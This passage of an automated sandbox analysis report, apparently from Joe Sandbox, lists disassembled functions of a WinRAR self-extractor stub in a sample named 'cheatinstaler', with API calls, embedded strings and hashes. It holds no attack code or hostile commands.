_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DA73B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DA741
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DA747
EndDialog.USER32 ref: 00007FF6C16DA7BA

Strings

Software\WinRAR SFX, xrefs: 00007FF6C16DA52B, 00007FF6C16DA53A
GETPASSWORD1, xrefs: 00007FF6C16DA773

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskDialog
String ID: GETPASSWORD1$Software\WinRAR SFX
API String ID: 431506467-1315819833
Opcode ID: 100daac0e34165666268f43f408bc6971489d972bf40231fa28c726ba550acfe
Instruction ID: d4b33e410a9b3395734951a203a2ce190ffa7952822cccea7b1401f6f1a3a72a
Opcode Fuzzy Hash: 100daac0e34165666268f43f408bc6971489d972bf40231fa28c726ba550acfe
Instruction Fuzzy Hash: 0AB1CC62F0878285FB009FA6D4442BC2362AF85799F504235DEDDA6BDAEF3CE546D340

Function 00007FF6C16EE650 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C16EE7CD

Strings

NAN(SNAN), xrefs: 00007FF6C16EE6E5
NAN(IND), xrefs: 00007FF6C16EE6FB
NAN, xrefs: 00007FF6C16EE6B1
inf, xrefs: 00007FF6C16EE6D6
nan, xrefs: 00007FF6C16EE6B8
INF, xrefs: 00007FF6C16EE6C3
nan(snan), xrefs: 00007FF6C16EE6F0
nan(ind), xrefs: 00007FF6C16EE706

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: ca8329083cbd7a022b2adefca7a3bb58d0ae1dff90efa4c28dbe4d3f14657870
Instruction ID: c14e8604c51307c9ea8fcd4979a87c4d24b12aaef4bbbd6c738c6885817b6751
Opcode Fuzzy Hash: ca8329083cbd7a022b2adefca7a3bb58d0ae1dff90efa4c28dbe4d3f14657870
Instruction Fuzzy Hash: 1241AD72A0AB4589EB00CF26E8517ED33A4EB18398F014636EEDC87B94DE3DD125D384

Function 00007FF6C16DF390 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

GetWindow.USER32 ref: 00007FF6C16DF3CF
GetClassNameW.USER32 ref: 00007FF6C16DF3FC
GetWindowLongPtrW.USER32 ref: 00007FF6C16DF41D
IsDlgButtonChecked.USER32 ref: 00007FF6C16DF437
GetObjectW.GDI32 ref: 00007FF6C16DF452
IsDlgButtonChecked.USER32 ref: 00007FF6C16DF487
DeleteObject.GDI32 ref: 00007FF6C16DF490
GetWindow.USER32 ref: 00007FF6C16DF49E

Strings

STATIC, xrefs: 00007FF6C16DF402

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Window$ButtonCheckedObject$ClassDeleteLongName
String ID: STATIC
API String ID: 781704138-1882779555
Opcode ID: 028936735c5caa7e1c5955390d3996a5d13f8d6e72d7f98742e6e6c768b0ab82
Instruction ID: bb95cb7555515c9c6e469ad9618e384921a9210515e1ff2e60ac5552cb90d485
Opcode Fuzzy Hash: 028936735c5caa7e1c5955390d3996a5d13f8d6e72d7f98742e6e6c768b0ab82
Instruction Fuzzy Hash: 6D31B225B09A4286FB61EF13A5647B96391BF89BD2F200430DDCD87B57DE3CE4068740

Function 00007FF6C16D6E80 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6C16D7E9B), ref: 00007FF6C16D7080
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16D717B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16D7181
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16D7187

Strings

<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>, xrefs: 00007FF6C16D6ED5, 00007FF6C16D6EE4
</html>, xrefs: 00007FF6C16D6F72, 00007FF6C16D6F81
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00007FF6C16D6F2C, 00007FF6C16D6F3B
<html>, xrefs: 00007FF6C16D6F13

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$AllocGlobal
String ID: </html>$<html>$<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 2721297748-1533471033
Opcode ID: 31d7dc5894d1c9fa85229d9e77b41a308ef747ae09a8312bf4b27f03762016a6
Instruction ID: 077a0092f2ede358ad47f6862836443e04c85324cdac13626b256614f1b088d8
Opcode Fuzzy Hash: 31d7dc5894d1c9fa85229d9e77b41a308ef747ae09a8312bf4b27f03762016a6
Instruction Fuzzy Hash: FC81A362F18A4285FB00EFB6D8402ED6372AF4978AF504235DEDD976DAEE38D506D340

Function 00007FF6C16DAE90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

LICENSEDLG, xrefs: 00007FF6C16DAEAE

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Item$Text
String ID: LICENSEDLG
API String ID: 1601838975-2177901306
Opcode ID: 35fefc179f922e98870b8a3b257cf5e504c5ed53f195972dc606f5139ed8380b
Instruction ID: c508bdaf594e85de686584f29d63c106e1abe829fdd7a420d2ad4b85f1aaad96
Opcode Fuzzy Hash: 35fefc179f922e98870b8a3b257cf5e504c5ed53f195972dc606f5139ed8380b
Instruction Fuzzy Hash: 7A418E25A0CA5282FB10DF17E82477963A1AF84F82F244035D9CE83B96CF3CE586E310

Function 00007FF6C16CB9B4 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6C16CBA12
GetProcAddress.KERNEL32 ref: 00007FF6C16CBA2D
GetCurrentProcessId.KERNEL32 ref: 00007FF6C16CBACA

Part of subcall function 00007FF6C16CDFD0: GetSystemDirectoryW.KERNEL32 ref: 00007FF6C16CDDDF

Strings

CryptProtectMemory, xrefs: 00007FF6C16CBA08
Crypt32.dll, xrefs: 00007FF6C16CB9F0
CryptUnprotectMemory failed, xrefs: 00007FF6C16CBAC1
CryptUnprotectMemory, xrefs: 00007FF6C16CBA1F
CryptProtectMemory failed, xrefs: 00007FF6C16CBA80

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: AddressProc$CurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 2915667086-2207617598
Opcode ID: d2e93635ec338890dfe438c4789fcaf7e26687fbfe6c7ce53d5981307f2d6baa
Instruction ID: a1280f10791516e41e14ce6691803e31974054c0cebc6fa9a1a873e52389a26e
Opcode Fuzzy Hash: d2e93635ec338890dfe438c4789fcaf7e26687fbfe6c7ce53d5981307f2d6baa
Instruction Fuzzy Hash: 4D313320B09A4680EB24EF6BA86427923A0FF44B93F141135DDDE837A5EF3CE945A344

Function 00007FF6C16D87D8 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 415COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16D8DB6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16D8DC2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16D8DCE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16D8DDA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16D8DE0

Strings

, xrefs: 00007FF6C16D88BE
, xrefs: 00007FF6C16D8A55

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: $
API String ID: 3668304517-227171996
Opcode ID: 7957b1f7c23d8b99e8b957fd2374c8a83d1170bc9397b993806739df2f8497c6
Instruction ID: 475e3f6fa3b28257aa0fd264127c3d2e6787f85abab7f9459f148bc0deba4ab9
Opcode Fuzzy Hash: 7957b1f7c23d8b99e8b957fd2374c8a83d1170bc9397b993806739df2f8497c6
Instruction Fuzzy Hash: 78F1D262F14B4680EF00AF6AD4581BC2366AF54B99F605231CAED977D9DF7CE1A0E340

Function 00007FF6C16E57EC Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 317COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6C16E598A
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6C16E5CAD
abort.LIBCMT ref: 00007FF6C16E5CE1

Strings

csm, xrefs: 00007FF6C16E58D1
csm, xrefs: 00007FF6C16E59B1
csm, xrefs: 00007FF6C16E5933

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Is_bad_exception_allowedabortstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 2940173790-393685449
Opcode ID: 65edb01f61f21fff02eaccc9a46b43a233fa456fccf40e480b66f774ee54b1a7
Instruction ID: 395f4eb17ff4522666addafcbb703ad4a9f9be1afb6d84594586ac3a579da637
Opcode Fuzzy Hash: 65edb01f61f21fff02eaccc9a46b43a233fa456fccf40e480b66f774ee54b1a7
Instruction Fuzzy Hash: C1E1AE76908782CAE7109F26D8903AD77A0FF45B59F144335EACC87696CF38E685D780

Function 00007FF6C16C4F38 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 158COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16C4E24: SysAllocString.OLEAUT32 ref: 00007FF6C16C4E5F

VariantClear.OLEAUT32 ref: 00007FF6C16C5125

Strings

Name, xrefs: 00007FF6C16C50F9
WQL, xrefs: 00007FF6C16C502A
SELECT * FROM Win32_OperatingSystem, xrefs: 00007FF6C16C5017
Windows 10, xrefs: 00007FF6C16C510A
ROOT\CIMV2, xrefs: 00007FF6C16C4F7B

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: AllocClearStringVariant
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 1959693985-3505469590
Opcode ID: a8b35b7bcd37d82ee4aaa20c3b876beaab518b1de9e1ce59ea14af8b32f1fe8d
Instruction ID: 27789a1e25b6b74c6d2b9a1a3bfdbff1b44be62d671dfe3a84821797f85f1398
Opcode Fuzzy Hash: a8b35b7bcd37d82ee4aaa20c3b876beaab518b1de9e1ce59ea14af8b32f1fe8d
Instruction Fuzzy Hash: 1B712B36B14A05C6EB20DF26D8906AD77B4FB88B99B445132EADD87B68CF3CD154D300

Function 00007FF6C16E72EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,00000000,00007FF6C16E74F3,?,?,?,00007FF6C16E525E,?,?,?,00007FF6C16E5219), ref: 00007FF6C16E7371
GetLastError.KERNEL32(?,?,00000000,00007FF6C16E74F3,?,?,?,00007FF6C16E525E,?,?,?,00007FF6C16E5219), ref: 00007FF6C16E737F
LoadLibraryExW.KERNEL32(?,?,00000000,00007FF6C16E74F3,?,?,?,00007FF6C16E525E,?,?,?,00007FF6C16E5219), ref: 00007FF6C16E73A9
FreeLibrary.KERNEL32(?,?,00000000,00007FF6C16E74F3,?,?,?,00007FF6C16E525E,?,?,?,00007FF6C16E5219), ref: 00007FF6C16E73EF
GetProcAddress.KERNEL32(?,?,00000000,00007FF6C16E74F3,?,?,?,00007FF6C16E525E,?,?,?,00007FF6C16E5219), ref: 00007FF6C16E73FB

Strings

api-ms-, xrefs: 00007FF6C16E7391

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: eedfc97f7024c66fbeb39a7219499b253e22696fd1fdab2c5f769bf1fd383016
Instruction ID: 36e90b20205fd1ba874485b20681ee92483cc42d2356e2fdd48e926b2f071dec
Opcode Fuzzy Hash: eedfc97f7024c66fbeb39a7219499b253e22696fd1fdab2c5f769bf1fd383016
Instruction Fuzzy Hash: 8F31D021A1AA4281EF51AF07AC006796394FF48BA2F194735DDED8B380DF3CE554A790

Function 00007FF6C16E1604 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,00007FF6C16E1573,?,?,?,00007FF6C16E192A), ref: 00007FF6C16E162B
GetProcAddress.KERNEL32(?,?,?,00007FF6C16E1573,?,?,?,00007FF6C16E192A), ref: 00007FF6C16E1648
GetProcAddress.KERNEL32(?,?,?,00007FF6C16E1573,?,?,?,00007FF6C16E192A), ref: 00007FF6C16E1664

Strings

ReleaseSRWLockExclusive, xrefs: 00007FF6C16E1653
KERNEL32.DLL, xrefs: 00007FF6C16E1624
AcquireSRWLockExclusive, xrefs: 00007FF6C16E163E

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 4fe35f58cd4175722fa2f4edd42b7d77b08fa8d78ae8e9bf73ccac7c2071e7f8
Instruction ID: 5b684fe76926ffebe920be323c576466bd697cb8f1c418c4426aa60e4958cf1e
Opcode Fuzzy Hash: 4fe35f58cd4175722fa2f4edd42b7d77b08fa8d78ae8e9bf73ccac7c2071e7f8
Instruction Fuzzy Hash: 8E116120A09B1382FF548F13AD502741395AF49797F5C4635C8EDC6394EE3CE595BA50

Function 00007FF6C16CED24 Relevance: 9.1, APIs: 6, Instructions: 120timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16C51A4: GetVersionExW.KERNEL32 ref: 00007FF6C16C51D5

FileTimeToLocalFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6C16B5AB4), ref: 00007FF6C16CED8C
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6C16B5AB4), ref: 00007FF6C16CED98
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6C16B5AB4), ref: 00007FF6C16CEDA8
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6C16B5AB4), ref: 00007FF6C16CEDB6
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6C16B5AB4), ref: 00007FF6C16CEDC4
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6C16B5AB4), ref: 00007FF6C16CEE05

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 197518eb8103cda2bd6b54f1f5e99fa721289ee203340eaf45d2c62117a67569
Instruction ID: 74ac9f58692c0e92590e616c3f9b90fd6a39daacbd15b87b5751167ad5a64242
Opcode Fuzzy Hash: 197518eb8103cda2bd6b54f1f5e99fa721289ee203340eaf45d2c62117a67569
Instruction Fuzzy Hash: 57519EB2B106518BEB14CFBAD8501AC37B1F748B89B60803ADE9D97B58DF38E555CB40

Function 00007FF6C16CF010 Relevance: 9.1, APIs: 6, Instructions: 80timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF6C16CF074

Part of subcall function 00007FF6C16C51A4: GetVersionExW.KERNEL32 ref: 00007FF6C16C51D5

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF6C16CF096
FileTimeToSystemTime.KERNEL32 ref: 00007FF6C16CF0A2
TzSpecificLocalTimeToSystemTime.KERNEL32 ref: 00007FF6C16CF0B2
SystemTimeToFileTime.KERNEL32 ref: 00007FF6C16CF0C0
SystemTimeToFileTime.KERNEL32 ref: 00007FF6C16CF0CE

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 93bf5fe4be91675a5f4cba4a2df0f2c5ed0bd126a165fd4d88c3e7d5e64543a6
Instruction ID: a57c8d27d5cccb244c6df24154574c4c33b858494dacae6939438b43d81488e6
Opcode Fuzzy Hash: 93bf5fe4be91675a5f4cba4a2df0f2c5ed0bd126a165fd4d88c3e7d5e64543a6
Instruction Fuzzy Hash: 75315C66B10A51CDFB00CFB6D8901AC3770FF08759B54502AEE9D93A58EF38D995C700

Function 00007FF6C16C7918 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 233COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C7C8C

Strings

sfx, xrefs: 00007FF6C16C79F3, 00007FF6C16C7A02
.rar, xrefs: 00007FF6C16C7969, 00007FF6C16C7978
exe, xrefs: 00007FF6C16C79AF, 00007FF6C16C79BE
rar, xrefs: 00007FF6C16C7A9B, 00007FF6C16C7AAA, 00007FF6C16C7B67, 00007FF6C16C7B7C

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
